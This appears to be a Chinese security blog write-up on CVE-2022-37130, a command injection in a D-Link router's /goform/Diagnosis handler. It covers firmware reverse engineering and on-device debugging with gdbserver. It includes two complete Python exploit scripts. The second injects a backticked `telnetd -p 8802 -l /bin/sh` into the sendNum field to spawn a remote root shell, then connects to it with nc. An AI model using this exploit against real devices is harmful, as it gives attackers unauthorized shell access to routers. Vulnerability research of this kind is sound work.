D-Link CVE-2022-37130

D-Link CVE-2022-37130

花了一段时间学了一下LLVM PASS PWN,现在有时间来搞IOT了,第一篇写了如何提取文件,如何对漏洞文件进行逆向分析,怎么触发漏洞,这一篇笔者还是对这个固件的漏洞进行分析,这次的漏洞是一个命令注入漏洞,会记录一下如何利用漏洞进行getshell操作

逆向分析漏洞点

漏洞点发生在formDefineManagement中的Diagnosi函数中

1

程序从用户那里得到sendNum并拼接到v10中,值得注意的是这里并没有进行任何过滤和限制,在最后会执行到dosystembk,导致了命令注入漏洞

漏洞利用

我们可以先把路由器的telnet开启登陆进去,这样做的原因是准备进行真机调试,我们需要去下载一个gdbserver.mipsle

然后在ubuntu上下载一个tftpd,并启动服务sudo systemctl restart tftpd-hpa.service,可以通过sudo netstat -a | grep tftp查看

1

把存放gdbserver.mipsle这个文件的目录做为主目录挂载到tftp上,使用telnet登录到路由器中

转到/tmp目录下,因为其他很多目录都是只读,然后将gdbserver.mipsle利用tftp传到/tmp下,并给上执行权限

1

接下来需要将goahead利用gdbserver给挂载到一个端口上,然后使用pwndbg对goahead进行调试分析,ps查看goahead的pid

1

./gdbserver.mipsle :1234 --attach 42挂载到1234端口上

5

到ubuntu上使用target remote去连接这个端口进行调试

5

正确加载了libc和text

5

在45ADB0这里下个断点准备去调试这个漏洞点,给出如下exp

连接到80端口,并发送POST数据包,漏洞点在/gofrom/Diagnosis中,只需将pingAddr设置一个ip就可以过if ( !strcmp(pingAddr, "0.0.0.0") ),接着在sendNum中填入ls,看一下是否最后可以执行到ls

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import socket
import os

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

tokenid = b'1804289383'

ip = '192.168.0.1'
port = 80

r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

li('[+] connecting')
r.connect((ip, port))
li('[+] connect finish')

rn = b'\r\n'

p2 = b'pingAddr=192.168.0.1&sendNum=`ls`&tokenid=1804289383'

p3 = b"POST /goform/Diagnosis" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: curShow=; ac_login_info=passwork; test=A" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2

li('[+] sending payload')
r.send(p3)

response = r.recv(4096)
response = response.decode()
li(response)
5

发送exp即可到断点,接着进行调试分析,发现可以成功执行到snprintf

5

如上,可以看到ls成功被放入v10,继续调试,到0x45AEEC这时里,发现这里执行的是> /tmp/diagnosis

5

继续往后调试也是最重要的dosystembk函数

5

因为mips的流水线,a1的值其实就是$sp + 0x28的值

5

参数均已经被放入doSystembk中,接下来需要做的就是跟进dosystembk中,看一下$sp + 0x28会不会被执行

5

但是在跟进dosystembk之后发现并不会创建子进程,最后创建的还是一个父进程

5

可以看到pid大于0,创建的是父进程

5

其实这个是gdb的原因,笔者写了一个程序测试了一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(int argc, char **argv){
int v5;
v5 = vfork();
if ( !v5 ){
puts("hello");
exit(0);
}
return 0;
}

发现正常执行hello,但是在调试的时候vfork会变成父进程,v10就是ping的那一条命令

所以正常运行exp的时候会执行ls命令,但回显不了,那么如何getshell呢,没有nc但是有telnet,所以我们可以用telnet来弹一个shell

telnetd -p 8802 -l /bin/sh

需要注意的是>没有用,故exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import socket
import os

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

tokenid = b'1804289383'

ip = '192.168.0.1'
port = 80

r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

li('[+] connecting')
r.connect((ip, port))
li('[+] connect finish')

rn = b'\r\n'

p2 = b'pingAddr=192.168.0.1&sendNum=`telnetd -p 8802 -l /bin/sh`&tokenid=1804289383'

p3 = b"POST /goform/Diagnosis" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: curShow=; ac_login_info=passwork; test=A" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2

li('[+] sendling payload')
r.send(p3)

response = r.recv(4096)
response = response.decode()
li(response)

li('[+] getshell! pwned by z1r0')
os.system("nc 192.168.0.1 8802")
5

成功getshell

总结

笔者认为真机调试比模拟固件好点,因为不需要为了环境发愁,有很多时候模拟固件会失败有的时候vmmap都没有用